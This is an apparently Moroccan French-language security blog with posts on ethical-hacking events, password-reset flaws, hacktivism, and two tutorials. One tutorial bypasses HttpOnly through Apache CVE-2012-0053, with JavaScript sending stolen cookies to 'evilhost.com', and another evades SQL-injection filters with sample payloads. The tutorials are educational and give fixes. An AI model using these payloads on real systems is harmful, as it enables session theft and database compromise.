Supinfo Hackathon 2013, un rendez-vous incontournable des passionnés de la sécurité informatique au Maroc

SUPINFO Hackathon 2013

SUPINFO Hackathon 2013

Cette année, les étudiants de SUPINFO Casablanca ont très bien bossé pour vous donner rendez-vous à un événement de calibre rassemblant tous les fous furieux de sécurité informatiques! C’est la toute première édition de SUPINFO Hackathon: une journée de conférences qui seront animées par des jeunes chercheurs marocains et professionnels de l’Ethical Hacking, et encore 12 heures de compétition pour reveler de nouveaux talents en sécurité informatique à l’échelle nationale!

Quand et Comment?

SUPINFO Hackathon 2013 se tiendra le 15 juin à partir 09h00 jusqu’au 16 juin à 10h00 GMT à l’école SUPINFO Casablanca (voir map) et s’étalera sur deux jours, la première journée est dédiée aux conférences et aux ateliers, puis à partir de minuit la compétition de Hacking commencera et va durer 12h00!

Plus de 25 équipes ont déjà confirmé leur participation et feront face à différentes épreuves de tous types: cryptographie, forensic, web ,réseaux, failles applicatives, cracking, stéganographie et wireless, etc.. A rappeler qu’il ne s’agit surtout pas d’une compétition CTF (Capture The Flag), les organisateurs mettent l’accent sur l’aspect éthique des challenges dont le but est de résoudre un maximum d’épreuves (60 au total). Toute tentative d’attaque des serveurs ou des autres équipes concurrentes en dehors des épreuves proposées est strictement interdite, les organisateurs se réservent le droit de disqualifier toute équipe qui nuit à l’esprit convivial et éthique de la compétition.

Pour récompenser les plus rapides et pour plus de suspens: un bonus de points sera attribué aux trois premières équipes validant un bloc de 5 épreuves!

Qui peut participer? Comment?

Les inscriptions aux challenges sont ouvertes à tous, que vous soyez un professionnel, un étudiant ou un simple passionné d’Ethical Hacking, c’est l’occasion inédite pour tester vos compétences. Il suffit de constituer une équipe de 3 à 6 membres maximum et de s’enregistrer sur le site officiel du challenge Supinfo Hackathon 2013

Les conférences

Quant aux conférences, les thématiques sont diversifiées et très riches sur le volet technique, la majorité des conférenciers sont des jeunes marocains chercheurs en sécurité informatique ayant découvert des vulnérabilité chez des géants d’Internet tel que : Google, Paypal, Huawai, Oracle, Adobe, Microsoft, Mozilla et j’en passe.. Des visages connus de la scène d’Ethical Hacking au Maroc et qui nous promettent des découvertes exclusives lors de l’évènement.

L’accès aux salles de conférences est gratuit et ouvert à tout le monde! Ci-dessous les sujets proposés (par ordre alphabétique):

  • AbdelKader Boudih : Hacking is not a crime, bad programming is!
  • Abdelmoughite Eljoaydi : HTTP Fuzzing Techniques
  • Ali Dahmani : L’authentification par biométrie et son avenir.
  • Amine Cherrai : First Steps To Be an Ethical Hacker
  • Amine RAGHIB : Social Engineering Techniques with Real Life Scenarios
  • Ayoub Faouzi : From Brain to Flame
  • Hamza Bourrahim : Azul Private Operating System & Security in Other OSes
  • Karim Boudra : Wireless Hacking – « Invisble Enemy in The Air »
  • Mohammed LahlouThe Art of Website Vulnerability Assessment.
  • Oumleila Amanass : Merci Dream Killers
  • Soufiane TAHIRI : Attaques Avancées sur Applications Dot NET
  • Souhail Hammou : The Art Of Cheating in Games

Comme l’équipe organisatrice l’a mentionné :

Il s’agit de révéler à travers le « SUPINFO Hackathon 2013 » des talents, qu’ils se situent dans le milieu universitaire, professionnel ou informel. Le but est de faire s’affronter, réunies en équipes, des compétences individuelles, pour promouvoir les compétences disponibles sur le territoire National qui iront ensuite affronter d’autres équipes internationales. Avec pour objectif principal et final de partager les connaissances.

Une très belle initiative qui promeut l’Ethical Hacking, à supporter et à encourager vivement!
De ma part, j’y serai et je vous ferai un livetweet de l’évènement! Le hashtag officiel pour suivre l’évènement sur twitter est #supinfohackathon! Sinon En attendant le 15 juin! Vous pouvez jeter un coup d’œil sur le site officiel et la page de l’évènement sur Facebook!

SOYEZ NOMBREUX et à Samedi!

Présentation: 4 contre-mesures pour renforcer la sécurité de son application web coté client

html5-securityAujourd’hui avec tous les types d’attaques visant le coté client, la sécurité des applications web devient un sujet très sérieux à partir du moment où les interactions client/serveur transitent des données sensibles ayant trait à la vie privée des utilisateurs.

Les éditeurs de logiciels, et plus particulièrement des navigateurs, ont constamment contribué pour mettre en place des standards visant à renforcer la sécurité du coté client.

Dans cette présentation, on verra 4 contre-mesures pratiques permettant de sécuriser vos applications web contre les attaques les plus répondues.

C’était le sujet de ma présentation lors de la journée de la sécurité informatique organisée à l’université internationale d’Agadir Univerpolis par les étudiants de l’école polytechnique sous le thème : « enjeux et défis universels ». la conférence s’est déroulé le Samedi 18 Mai 2013

Je partage donc avec vous ma présentation, tout en vous réservant une série d’articles traitant chaque contre-mesure de façon détaillée, ci-dessous les grandes lignes de ma présentation:

  • Sécuriser la communication client-serveur
  • Limiter les attaques par injection de script
  • Insérer du contenu de manière sécurisée
  • Bien définir les interactions cross-domain

Bonne lecture et restez branchés pour la suite!

La sécurité des processus de réinitialisation d’un mot de passe

Chaque e-service ayant un espace privé dispose généralement d’une section permettant aux utilisateurs ayant oublié leur mot de passe de le récupérer ou le changer, l’approche diffère d’un fournisseur de service à un autre, chaque approche se base sur un processus de récupération qui se déroule généralement sur plusieurs étapes, à travers chaque étape l’utilisateur doit fournir des informations permettant de confirmer son identité, ainsi la validation de toutes les étapes garantie à l’utilisateur un accès à son compte.

Par-contre que se passerai-t’il si l’une des étapes est contournée? les informations sur-lesquelles s’appuient les processus de récupération sont-elles fiables? Quelles sont les bonnes pratiques? C’est les questions auxquelles je vais essayer de répondre dans cet article.

« J’ai oublié mon mot de passe » est une nécessité

Combien de fois avez-vous réinitialisé votre mot de passe sur un service? avouez-le c’est embêtant d’oublier les informations de récupération (question secrète/email secondaire etc..), par-contre c’est rassurant le fait de regagner accès à son compte après avoir oublié ses identifiants n’est ce pas?

Évidement la fonction de récupération de son compte est une fonctionnalité vitale, le nombre des e-services se multiplie et aujourd’hui chaque internaute dispose d’une multitude de comptes sur plusieurs e-services. Il devient de plus en plus difficile de se rappeler de tous ses mots de passe sur chaque service, l’Auth2.0 a vu le jour pour résoudre cette problématique mais la tendance sur les nouveaux e-services est de demander à l’utilisateur de créer un mot de passe même s’il s’inscrit par le billet d’une Auth2.0 tel que Twitter et Facebook.

Récupérer ou réinitialiser?

La récupération consiste à envoyer par e-mail à l’utilisateur son ancien mot de passe ou de générer un nouveau mot de passe temporaire, cette approche fait partie des mauvaises pratiques. Si la logique de régénération est faillible, un attaquant peut mener une attaque de bruteforce pour gagner l’accès au compte utilisateur.

Aujourd’hui l’approche la plus adoptée par les géants d’internet c’est la génération d’un jeton, qui à travers un lien hypertexte unique permet de réinitialiser le mot de passe de l’utilisateur, le lien hypertexte est envoyé à l’adresse e-mail de secours de ce dernier, ainsi le service demande à l’utilisateur en échange de saisir les informations précédemment remplies le jour de l’inscription et principalement la question secrète ou l’adresse e-mail alternative, dans le cas contraire sur certains services de messagerie, l’utilisateur peut fournir des informations relatives à son compte comme les derniers échanges (sujets/emails/dossiers etc..), si les informations correspondent l’utilisateur reçoit un mail avec un lien de réinitialisation de son mot de passe, ces informations pouvant être facilement récupérées grâce au social engineering, c’est pourquoi des géants comme Google et Facebook ont rajouté la double vérification ou la vérification téléphonique, qui à ce jour, si on ne considère pas le grand budget dépensé pour les notifications et la vie privée des utilisateurs, reste la solution la plus efficace.

Les erreurs fatales:

  • Vérification insuffisante des paramètres de requêtes HTTP :
    Ces derniers mois des géants comme Google et Microsoft ont connu une vague de piratage des comptes utilisateurs dû au contournement des étapes de réinitialisation de mot de passe, la technique utilisée par les pirates consiste à bidouiller, avec des outils comme l’extension Firefox TamperData, les paramètres HTTP POST, ne vérifiant pas la validité des données postées le processus de réinitialisation renvoie l’attaquant sur la page de modification.
  • Référence à un objet non-sécurisé dans l’algorithme de génération du jeton (token) : cette faille et exploitable quand l’algorithme de régénération du jeton (token) de réinitialisation fait référence à un objet non sécurisé comme la date (timestamp) ou encore le nom d’utilisateur, par exemple avec le timestamp un attaquant peut en exerçant du reverse engineering régénérer un token et le reproduire pour avoir un lien de réinitialisation valide (Randomness Attack)
  • Attaque CSRF sur la page de modification des informations de récupération:
    Pour comprendre ce genre d’attaque, on considère un REGISTRAR qui dispose d’un processus de réinitialisation de mot de passe fiable, l’utilisateur renseigne son adresse email de secours et il reçoit un lien de réinitialisation, dans son espace membre il y a un lien qui lui permet de modifier les informations de récupération de mot de passe tel que la question secrète ou l’adresse e-mail alternative. Si le formulaire en question est vulnérable aux attaques CSRF un attaquant peut facilement modifier les informations de récupération rien qu’en lui amenant à cliquer sur un lien pendant qu’il est connecté à son compte, pour mieux comprendre la faille Cross Site Request Forgery rendez-vous sur cet article.
  • profils publics et confidentialité
    Contrairement à ce que vous pensez, vos profils publics en disent beaucoup sur vous, vos likes par exemple peuvent aider un attaquant à deviner la réponse à votre question secrète, il faut donc être vigilant dans le choix de ses réponses secrètes.

Les bonnes pratiques:

  • Pour les développeurs:
    • Sécuriser l’espace membre contre les attaques CSRF
    • Ne pas baser l’algorithme de réinitialisation de jeton sur une référence à un objet non sécurisé
    • Ne pas mettre des questions secrètes débiles comme: « Nom de votre jeune sœur » ou encore « le nom de votre chien », avec les réseaux sociaux ce genre d’informations est facilement trouvable.
  • Pour l’utilisateur:
    • Jamais le même mot de passe! : certains services stockent les mots de passes en texte brute sur leur bases de données, ces mots de passes n’étant pas cryptés.. avoir le même mot de passe sur plusieurs services n’est pas avantageux, pensez à mettre un mot de passe différent pour chaque service!
    • Ne communiquez jamais vos informations personnelles à un inconnu, n’acceptez pas sur Facebook ceux que vous connaissez pas, collecter des informations sur vous peut aider un attaquant à deviner la réponse à votre question secrète
    • Vous avez changé votre mot de passe et aussi les informations de récupération, c’est bien! par-contre si le e-service est basé sur l’Auth2.0 il faut penser à jeter un œil sur les applications ayant toujours accès à vos données, le changement de mot de passe n’impacte pas l’accès aux données personnelles à partir des applications tierces autorisées

Comment contourner HttpOnly?

Avant d’entrer dans le vif du sujet, il est important de faire la différence entre un simple Cookie, et un HttpCookie car il s’agit de deux notions complétement différentes, un Cookie représente des données envoyés par un serveur web et stocké dans un fichier texte par le biais d’un navigateur web, il peut être aussi manipulé avec du code Javascript ou des entêtes HTTP contenus dans les réponses en provenance d’un serveur WEB.

Un cookie HttpOnly ou HttpCookie a la particularité d’être accessible seulement via HTTP(s), l’accès à cet élément est restreins à tous les non HTTP-APIs comme JavaScript. Les cookies HTTPOnly sont généralement utilisés pour conserver les informations d’authentification afin de protéger ces dernières contre les attaques XSS, cet article a pour but de vous montrer comment est ce possible de contourner cette protection, et aussi comment remédier à ce genre d’attaque.

Notions de bases

Syntaxe

Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

Exemple 1:

Set-Cookie: wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29; Expires=Wed, 09 Jun 2021 10:18:14 GMT; domain=www.mcherifi.org; path=/; Secure

Si on exécute le code

<script>alert(document.cookie)</script>

Le résultat affichera :

wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29;

Exemple 2

Set-Cookie: wordpress_f8bee1a788233546681a64908c37c3a0=admin|134982|876946033fb3e2e16f2810d55945ddb4ce29; Expires=Wed, 09 Jun 2021 10:18:14 GMT; domain=www.mcherifi.org; path=/; Secure; HttpOnly

Maintenant si on ré-exécute le code

<script>alert(document.cookie)</script>

Le résultat sera une boite de dialogue affichant un message vide, en effet le flag HttpOnly rend les cookies inaccessibles par JavaScript. toute-fois, il est possible dans certains cas de contourner cette protection et extraire le contenu de ces cookies.

Apache httpOnly Cookie Disclosure (CVE: 2012-0053)

Les versions d’Apache entre 2.2.x et 2.2.21 sont vulnérables, en effet lorsqu’on envoie une requête HTTP mal formée, Apache retourne en en réponse un message d’erreur 400 (Bad Request), pour le bonheur des hackers, cette réponse contient les entêtes HTTP y compris les cookies ayant le flag HttpOnly.

La méthode la plus simple consiste à envoyer une requête avec une entête volumineuse qui dépasse la longueur autorisée par Apache:

// Set cookies
//
    for (i = 0; i < 10; i++) {
        if (good) {
            var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
        }
        // Set evil cookie
        else {
            var cookie = "xss"+i+"="+str+";path=/";
        }
        document.cookie = cookie;
    }

En revisitant le site en question, on verra bien une page d’erreur 400 (Bad Request) avec le contenu de tous les cookies, il suffit d’un bout de code javascript pour « parser » cette réponse et récupérer les informations, puis les envoyer à un serveur (comme dans le bon vieux temps), ci-dessous un exemple:

function parseCookies () {
        var cookie_dict = {};
        // Only react on 400 status
        if (xhr.readyState === 4 && xhr.status === 400) {
            // Replace newlines and match <pre> content
            var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
            if (content.length) {
                // Remove Cookie: prefix
                content = content[1].replace("Cookie: ", "");
                var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
                // Add cookies to object
                for (var i=0; i<cookies.length; i++) {
                    var s_c = cookies[i].split('=',2);
                    cookie_dict[s_c[0]] = s_c[1];
                }
            }
            // Unset malicious cookies
            setCookies(true);
            img = new Image();
            img.src= "http://evilhost.com/getcookie.php?c="+escape((JSON.stringify(cookie_dict)));
        }
    }
    // Make XHR request
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = parseCookies;
    xhr.open("GET", "/", true);
    xhr.send(null);

Et voilà le tour est joué, pour information, Twitter et d’autres géant utilisant Apache2 (ou l’une de ses variantes) étaient affectés par ce bug et l’ont corrigé récemment!

FireFox 8 et le plugin Java 7u1

Les navigateurs aussi n’ont pas échappé à cette problématique, cette fois-ci Firefox avec le plugins Java 7u1 qui ne filtre vérifie pas le flag httpOnly avant d’afficher le contenu des entêtes HTTP, ci-dessous une vidéo illustrant son exploitation.

La méthode HTTP Trace

TRACE’ est méthode pour envoyer des requetes HTTP, elle permet d’afficher en retour la réponse du serveur en plus de la requête envoyée initialement par l’utilisateur. Le risque réside dans le fait que la réponse contient également les entêtes HTTP (évidement avec les cookies HttpOnly), comme dans l’exemple précédant, il est possible d’utiliser du javascript ou un plugins (Java/Flash) pour exploiter cette faille, voici quelques exemples:

XMLHttpRequest (IE 6) et anciens navigateurs

function trace()
{

    var http_request = false;
    if (window.XMLHttpRequest)
        http_request = new XMLHttpRequest(); //Tout sauf IE else if (window.ActiveXObject)
        try {
            http_request = new ActiveXObject("Msxml2.XMLHTTP"); //IE > 6 } catch (e) {
            try {
                http_request = new ActiveXObject("Microsoft.XMLHTTP"); //IE <= 6 } catch (e) {} }
    if (http_request) {
        http_request.open("TRACE","/",false);
        http_request.send();
        alert(http_request.responseText); }

} 

Opera 9.64

function javacon(url)
{
 javaurl = new java.net.URL(url);
 conn = javaurl.openConnection();
 conn.setRequestMethod('TRACE');
 var response = '';
 input = conn.getInputStream();
 var lnr = new java.io.LineNumberReader(new java.io.InputStreamReader(input));
 while ((n = lnr.readLine()) != null) response += n + '\n ';
 return response;
}
 
alert(javacon(location.href));

Safari 4.0.3, en utilisant un applet Java

RequestProperty.java

import java.applet.*;
import java.net.*;
import java.io.*;

public class RequestProperty extends Applet 
{
 public void start() 
 {
  try {
       URL url = getCodeBase();
       HttpURLConnection conn = (HttpURLConnection) url.openConnection();
       InputStream inp;
       try {
            conn.getInputStream();    // method GET
           }
       catch (IOException ee)
           {
            conn.getErrorStream();
           }
       String cookie = conn.getRequestProperty("Cookie");
       getAppletContext().showDocument(new URL("javascript:alert('"+cookie+"');"));
      }
  catch (Exception e){}
 }
}
<applet code=RequestProperty.class width=1 height=1></applet>

Pourquoi c’est dangereux?

La faille en question (CVE: 2012-0053) permet de ré-exploiter les XSS pour d’obtenir les sessions authentification mais aussi en la combinant avec d’autres vecteurs d’attaques (XSRF, ClickJacking) l’attaquant peut pousser son attaque à un très haut niveau, Abysssec Security Research ont déjà réussi à exploiter les fonctionnalités d’administrateurs sur WordPress en combinant ClickJacking+CVE: 2012-0053, démo et vidéo dans cet article

Comment y remédier?

L’échange des cookies httpOnly se fait à plusieurs niveaux (navigateurs, serveurs web, réseaux), Il est clair qu’une sécurité totale n’existe pas, toute-fois il faut penser à prendre un minimum de mesures pour y remédier:

  • Coté Client: Mettez à jour vos navigateurs régulièrement ainsi que les plugins tiers (Java/Flash/etc..)
  • Coté Serveur: Mettre à jour son serveur apache à une version >= 2.2.22
  • Ne pas hésiter à implémenter CSP dans ses sites
  • Si la méthode TRACE est activée au niveau de votre serveur WEB, pensez à la désactiver, vous pouvez aussi le faire via un .htaccess:

    RewriteEngine On
    RewriteCond %{REQUEST_METHOD} ^TRACE
    RewriteRule .* – [F] » – www.yoursite.com

Voilà, cette liste n’est donc pas exhaustive, n’hésitez pas à partager vos méthodes pour outrepasser HttpOnly ;)

Maroc: Trois évenements autour de l’Ethical Hacking à ne pas rater!

Si vous êtes un passionné de la sécurité informatique et de l’Ethical Hacking, voici 3 événements à ne pas rater! une opportunité pour rencontrer d’autres fou-furieux de la sécurité ainsi que des professionnels du métier.
Deux compétitions pour mesurer vos talents et vos compétences et gagner des prix, et aussi une conférence autour de « la cybercriminalité et la confiance numérique au maroc »

Rabat : MCSC – Moroccan Cyber Security Challange

La deuxième édition des Moroccan Cyber Security Challenge est prévue pour le 11 et 12 mai 2012 à l’ENSIAS de Rabat, l’événement s’étalera sur 2 jours, le premier pour les conférences et accueil des participant, et le deuxième pour les challenges et remise des prix, après le succès de la première édition, le club organisateur (INSECLUB) vous réserve plusieurs surprises, des conférenciers à l’échelle international issus des acteurs majeurs dans le domaine de la sécurité et du web tel-que OWASP, Google et Facebook seront présents pour parler autour de la sécurité des systèmes d’information!

Plus d’info sur la page facebook de MCSC : Moroccan Cyber Security Challange

Marrakech: Ethical Security Challenge (JNS ESC)

Dans le même esprit des MCSC (JNS ESC) « Ethical Security Challenge », a pour premier but de tester les connaissances en matières d’Ethical Hacking des équipes venues de tout le Maroc, mais aussi et surtout de s’affronter dans une ambiance amicale.
Huit heures d’épreuves pendant lesquelles des casse-têtes de sécurité informatique sont mis en place que ce soit en réseau domestiques, en web, en applicatif, en failles physiques ou encore reverse engineering…
Les épreuves seront pour chaque catégorie du niveau basique jusqu’à haut niveau de technicité.
Ethical Security Challenge se déroulera entre le 20 et 21 avril 2012 à l’ENSA de Marrakech

Plus d’infos sur La page facebook de l’événement: JNS.ESC

Tanger: La troisième édition de la journée de sécurité informatique

Suite à la réussite des deux premières éditions de la journée, le club INFOSoft font suivre la manifestation par une troisième édition pour cette année « SPECIAL SECURITY EVENT », l’événement aura lieu le 21 Avril à l’FST de Tanger

Cette journée aura comme thème « la cybercriminalité et la confiance numérique au maroc » et sera marqué par la présence de professionnels dans le domaine de sécurité informatique tel-que Ali El Azzouzi, Directeur général de DataProtect et auteur du livre « cybercriminalité au Maroc ».

Page officiel de l’événement: Special Security Event (évènement de sécurité informatique) 2012

De mon coté, je suis très content de voir des événements autour de la sécurité informatique fleurir au Maroc, et je serai sans doute présent aux challenges MCSC pour vous faire un livetweet (suivez le hashtag #mcsc), je participerai également aux challenges à l’ENSA de Marrakech avec une équipe de fous-furieux de sécurité, j’espère que j’aurai suffisamment le temps pour vous faire un compte rendu des journées!

A très bientôt

Hacktivisme au Maroc, une forme de militantisme qui prend de l’ampleur?

Hacktivisme au Maroc« Un arrière plan noir, le drapeau marocain et la musique du hymne national jouée en arrière plan », c’est à ça que ressemble les pages d’accueil de plusieurs sites piratés par des pirates marocains, les motivations des attaquants diffèrent et sont souvent accompagnées de revendications ou protestations contre un fait, les acteurs du déface sont parfois des particuliers qui défendent une cause, des rassemblements ou mouvements qui prétendent « défendre les intérêts suprêmes du Royaume », parfois juste des malins qui aiment se démarquer faire parler d’eux.

Les hacktivistes marocains, leur réputation les précéde

Depuis 2006 les hacktivistes marocains en su faire parler d’eux et ont gagné de la notoriété en matière de cyber-activisme, selon Jeffrey Carr dans son livre Inside Cyber Warefare: Entre juin et nouvembre 2006 un groupe marocain intitulé « Team-evil » ont piraté plus de 8000 sites israéliens dont 171 sites gouvernementales et de grandes marques. Les pirates israéliens ont répondu à leur manière, le groupe « TEAM Good » ont piraté OMIHOST l’un des plus grands hébergeurs marocains à l’époque en défigurant les pages d’accueil de 250 sites internet marocains.

La même année a connu une vague de cyber-attaques contre le web danois, plus de 1000 sites danois ont été piratés pour protester contre la publication de caricatures offensives du prophète Mohammed selon zone-h.

En Mai 2009, des hacktivistes marocains, attaquent une 50ène de sites algériens ainsi que plusieurs sites du Polisario dont polisario-confidential.org et le site officiel de Tindouf (tindouf.org).

And suddenly Bouzebbal appears

L’année 2011 a été marquée par l’apparition d’ un collectif de hackers marocains qui se auto-proclament « défenseurs des intérêts suprêmes du Royaume », il s’agit d’une bande d’idiots qui s’intitulent « MoroccanKingdom » ou encore « قوات الرضع », euh non je voulais dire « قوات الردع المغربية « , qui défacent à tout va des sites internet de QATAR ainsi que des sites algériens en mettant parfois des messages haineux, les membres de ces groupes prétendent être des nationalistes marocains défendant la souveraineté du Maroc sur le Sahara..

Une véritable comédie qui manque d’éthique et qui a malheureusement su faire parler d’elle, les conséquences sont pourtant pesantes, et ceci rend les dimensions politiques, suite à ces incidents, plus compliquées. pirater un site Qatarien qui n’a rien à voir avec l’émission qui a été diffusée n’est pas une bonne forme de militantisme, c’est aux Media marocains d’être à la hauteur et défendre les valeurs de la société marocaine à l’échelle international.

Un terrain agréable et très amusant

La cyber-guère proclamée par les médias entre les hacktivistes marocains et ceux des autres pays arabes et nos confrères algériens n’est pas sensée, il faut plutôt dire que les adversaires ont trouvé un terrain agréable et bourrés de failles pour s’éclater, à ce jour le web marocain n’est pas à l’abri et a encore du chemin devant lui pour renforcer sa sécurité ,qui ne figure pas malheureusement parmi les priorités. Aujourd’hui avec les outils comme la distribution Linux BackTrack, trouver des sites vulnérables et défigurer leur page d’accueil ne demande pas des connaissances techniques assez poussées.

Je n’encourage pas le hacktivisme, mais j’ai toujours été fasciné par les actions qui défendent des causes ayant un impact global et qui laisse réfléchir (Anonymous par exemple), ce que font la majorité des pirates marocains fait partie du Random-Hacking et n’est en aucun cas du hacktivisme instructif, c’est des crimes qui font que des DSI risquent leurs job, des conneries qui mettent hors services des sites innocents et qui parfois nourrissent des familles, n’en soyons pas trop fiers :)

Bref, je serai curieux de savoir ce que vous pensez du Hacktivisme au Maroc

A très bientôt

SQL Injection: Les techniques d’évasion de filtres

Pour minimiser le risque de se faire attaquer via une injection SQL, les administrateurs système mettent souvent en place des modules de protection permettant de bloquer la majorité des attaques basiques et celles effectuées à l’aide d’un outil automatisé. Dans ce billet, j’expliquerai les techniques utilisées pour énumérer l’existence de l’un de ces derniers, ainsi que les limitations et méthodes utilisées pour contourner ces protections.

Je vous rappelle qu’en lisant ceci, vous acceptez que je ne peux être tenu responsable pour toute action prise, les informations que je partage dans ce billet sont à utiliser SEULEMENT pour faire des PENTEST.

Principe des filtres

Certains filtrages sont souvent effectués côté client, le plus souvent avec javascript sur la page Web. Il suffit pour un attaquant d’enregistrer la page localement et supprimer le script pour les évader. Toutefois, la majorité des filtrages dans notre cas se font grâce à une liste noire restrictive et par conséquent, une certaine liste de mots ne peut être exécutée. Les outils les plus couramment utilisés pour cela sont: les systèmes de détection d’intrusion (IDS) et les filtres d’applications Web (WAF).

Les systèmes de détection d’intrusion

Un système de détection d’intrusion surveille l’activité réseau pour essayer de détecter des actions malveillantes et se concentre principalement sur l’exploitation forestière en faisant état de tentatives d’exploiter une application web. ce dernier essaye de répondre aux attaques et les empêche de se produire.

Le principe d’un IDS est de comparer les entrées de l’utilisateur avec des patterns malicieux connus appelés SIGNATURES. En voici un exemple:

alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg: « SQL Injection attempt »;
flow: to_server, established; content: « ‘OR’1′=’1′– »; nocase; sid: 1; rev:1;

D’où le ‘OR’1′=’1′– est ce qui est observé et ce qui provoque l’IDS pour alerter l’administrateur Web en lui envoyant comme message: « SQL Injection attempt ».

Bien entendu ceci n’est qu’un exemple, plusieurs combinaisons peuvent être utilisées pour contourner ce genre de protection, par-contre si l’IDS utilise un bon dictionnaire de SIGNATURES, l’attaquant devrait avoir beaucoup de créativité car il devient de plus en plus difficile de les contourner.

Les filtres d’applications WEB

Un filtre d’application WEB est un logiciel appliquant certaines règles à la requête pour tenter d’empêcher le code malveillant d’atteindre le serveur. Un WAF pourrait mettre en œuvre une liste noire ou blanche pour le contrôle d’entrée ce qui donne à beaucoup d’administrateurs un faux sentiment de sécurité. Pourquoi? la réponse c’est que tout simplement l’essentiel est la sécurité du codage du site Web.

Si vous obtenez une erreur « 501 Method Not Implemented » ou bien « 200 Condition Intercepted » après une tentative de test d’injection SQL avec « union all select » c’est que le serveur surlequel vous effectuez vos pentest utilise un WAF, mod_security par exemple..

En rappelle mod_security est un pare-feu open source d’applications Web qui fonctionne en tant que module du serveur Apache. Il dispose d’un ensemble complet de règles appelé «règles de base ModSecurity» pour bloquer les vecteurs d’attaques d’application web (injections SQL, Cross-Site Scripting etc..)

Contourner un IDS/WAF

Il existe plusieurs méthodes pour tester la fiabilité d’un IDS/WAF et éventuellement pour le contourner, voici une liste non-exhaustive des techniques qui peuvent permettre de surpasser les filtres:

Commentaires avec variables

Cette technique exploite une faille dans la méthode d’interprétation des variables dans Apache, on prends l’exemple suivant :

article.php?id=-1 UNION SELECT 1,2,3,4

  • Interprétation mod_security :
    id=-1 UNION SELECT 1,2,3,4 => BLOQUÉE

article.php?id=-1 UNION/**/SELECT/**/1,2,3,4

  • Interprétation mod_security :
  • id=-1 UNION/**/SELECT 1,2,3,4 => BLOQUÉE
  • Interprétation de l’application : : $_GET['id'] = « -1 UNION/**/SELECT/**/1,2,3,4″
  • article.php?id=-1 UNION/*&test=1*/SELECT/*&pwn=2*/1,2,3,4–

  • Interprétation mod_security :
    • id: -1 UNION/*
    • test: 1/*SELECT/*
    • pwn: 2/*1,2,3,4–
  • aisni => id=-1 UnION/*&test=1*/SELECT/*&pwn=2*/ 1,2,3,4 => PASSE
  • Interprétation de l’application : : $_GET['id'] = « -1 UNION/*&test=1*/SELECT/*&pwn=2*/1,2,3,4″
  • Phrases remplacées par des chaines vides et espace

    Certains filtres, afin d’empêcher l’exécution de requêtes contenant certains mots clés, ils remplacent ces derniers par des espaces/chaines vides ainsi :

    -123 UNION SELECT 1,2,3,4

    devient :

    profile.php?id=-1231,2,3,4

    Ce type de protection est facilement contournable on dupliquant le même mot restreint au milieux de ce dernier:
    exemple :

    -1 UNunionION SELselectCT 1,2,3,4

    ce qui donnera après remplacement

    -1 union select 1,2,3,4

    Dans certains cas, les WAF remplacent également les caractères spéciaux comme « ‘;:(){}/**/&$|?<> .Un attaquant peut s’en servir comme séparateur pour construire des mots clés restreins après suppression de l’un de ces caractères.. exemple :

    profile.php?user_id=-1 un?<ion sel&ect login,password,null,null,null fro}m admin

    Les null-bytes

    Placer un caractère null (%00) après un mot filtré peu dans certains cas contourner le filtre..

    Encodage de caractères

    La majorité des IDS&WAF ne supportent pas tous les types d’encodage, ainsi un attaquant peut encoder les paramètre dans l’URL pour échapper aux filtres:

    • Hex encoding: conversion de chaine en hexadécimal, exemple : load_file(0x2f6574632f706173737764) => load_file(/etc/passwd)
    • Unicode: %uff41%uff42%uff43 = ‘abc’
    • La fonction Char: CHAR(41,42,43) = ‘abc’, utilisable les codes décimales en ASCII
    • Le double Encoding: le principe est d’encoder les caractères deux fois de suite dans le but d’obtenir un caractère restreint après interprétation, exemple : Le signe % est égale à 25 en hexadécimal, quand codé pour les URLs il devient %25. Le «signle quote» ‘ est symbolisé par le chiffre 27 en hexadécimal ainsi dans une URL il ressemble à %27. si on l’encode à nouveau on obtient %2527 qui est interprété comme étant un «single quote» ‘, ce qui peut être en mesure de contourner certains filtres.

    Conclusion

    Utiliser un système de détection d’intrusion ou un par-feux d’application web est une bonne pratique pour minimiser le risque d’être attaqué, toute-fois avec peu de créativité, un attaquant peut réussir à les contourner et compromettre votre application web, ainsi la meilleure solution est de bien sécuriser votre code avant tout!

    Je rappelle que je ne revendique aucune responsabilité des actions que vous prenez en lisant ceci, Le but étant d’attirer l’attention des administrateurs système afin de ne pas avoir un faux sentiment de sécurité :) .

    Merci pour la lecture! Commentaires et critiques constructives sont toujours les bienvenus.

    Hacking: Moroccan Cyber Security Challenge 2011

    MCSC

    Moroccan Cyber Security Challenge

    MCSC ou Moroccan Cyber Security Challenge est le premier événement underground de Hacking au Maroc, organisé par les élèves ingénieurs du club INSEC, un club de jeunes passionnés dédié à la sécurité de l’information et en partenariat avec OWASP, l’événement est organisé sous le thème : « Appréhendez les menaces, pour en mieux s’en protéger.. » et aura lieu au sein de l’ENSIAS à Rabat le 15 Avril 2011

    C’est la première compétition de ce genre au Maroc. pour cette édition, seuls les élèves ingénieurs peuvent participer et seront confrontés à des épreuves sur plusieurs niveaux et de différentes catégories, l’objectif étant de déceler les vulnérabilités et les exploiter pour avoir le code de validation de chaque épreuve. Chaque grande école sera représenté par une équipe qui a pour objectif de résoudre des contestes , un système intelligent de point est mis en place pour compter les épreuves validées ainsi on découvrira les champions de cette première édition !

    Vous êtes des fous furieux de sécurité informatique? élèves ingénieurs marocains et souhaitez tester vos connaissances en Hacking en toute légalité? vous aimez les challenges? et ben c’est l’occasion. Les trois premières équipes seront récompensées par des lots divers.

    Des conférences et ateliers seront animés en parallèle par des professionnels du domaine de la sécurité des systèmes d’information et seront destinés à un public varié. Cette première édition verra l’intervention de l’OWASP et des professionnels du domaine de la sécurité à l’échelle international et national. Il y aura également des sessions débat et rencontres entre étudiants professionnels. L’entrée est gratuite et surtout libre!

